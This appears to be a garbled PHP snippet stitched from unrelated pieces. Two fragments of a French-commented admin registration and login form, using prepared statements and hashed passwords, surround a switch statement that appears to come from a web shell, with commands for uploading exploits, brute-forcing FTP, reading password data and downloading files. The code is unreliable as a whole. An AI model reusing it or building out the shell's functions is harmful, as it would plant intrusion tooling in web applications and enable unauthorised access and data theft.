//fin du test } //fin du test } if (empty($_POST['password'])) { $erreur = $erreur . 'Hé ! Le mot de passe est vide ! '; } if ($_POST['password'] != $_POST['password_confirm']) { $erreur = $erreur . 'Hé, les mots de passes ne sont pas identiques patate !'; } //var_dump($erreur); //si on a pas crée de message d'erreur, if ($erreur == '') { //on enregistre dans la base de données $requete = $bdd->prepare('INSERT INTO admin (pseudo, password) VALUES (:pseu, :pass)'); $requete->execute(array('pseu' => $_POST['pseudo'], 'pass' => crypte($_POST['password']))); //on crée la session de l'utilisateur $_SESSION['id'] = $bdd->lastInsertId(); $_SESSION['pseudo'] = $_POST['pseudo']; //on le redirige vers la page d'accueil header('Location: index.php'); //fin du test } //fin du traitement du formulaire } ?> <?php include 'includes/header.php'; ?> <section>
passwd(); break; case "exploits": exploits($dir); break; case "upload_exploits": upload_exploits($dir); break; case "upload_exploitsp": upload_exploitsp($dir); break; case "arhiv": arhiv($tm, $pass); break; case "crypte": crypte(); break; case "decrypte": decrypte(); break; case "brut_ftp": brut_ftp(); break; case "copyfile": copyfile($tm, $fi); break; case "down": down($dir); break; case "downfiles": downfiles($dir);
if (empty($_POST['password'])) { $erreur .= 'EH ! Le mot de passe est vide !'; } //si les donnees sont valides, on vefirie l'existence du pseudo et on recupere son mdp if ($erreur == '') { // on fait une requete pour recuperer le pseudo et le mdp correspondant au pseudo saisi $requete = $bdd->prepare('SELECT * FROM admin WHERE pseudo= :pseudo'); $requete->execute(array('pseudo' => $_POST['pseudo'])); //si le pseudo n'existe pas if ($requete->rowCount() == 0) { //on affiche un msg d'erreur $erreur .= 'NON NON ! Il n\'y a aucun utilisateur avec ce pseudo !'; //si le pseudo existe } else { //on crypte le mdp donne par l'utilisateur $passCrypte = crypte($_POST['password']); //on lit le resultat de la requete $donnee = $requete->fetch(); //on vérifie que le mdp saisi correspond au mdp du pseudo if ($passCrypte == $donnee['password']) { //on se connecte $_SESSION['id'] = $donnee['id']; $_SESSION['pseudo'] = $donnee['pseudo']; //on redirige vers la page d'accueil header('Location: index.php'); //sinon on affiche un msg d'erreur } else { $erreur .= 'NON NON! Le mot de passe ne correspond pas au pseudo ! '; } //fin du test pseudo existe }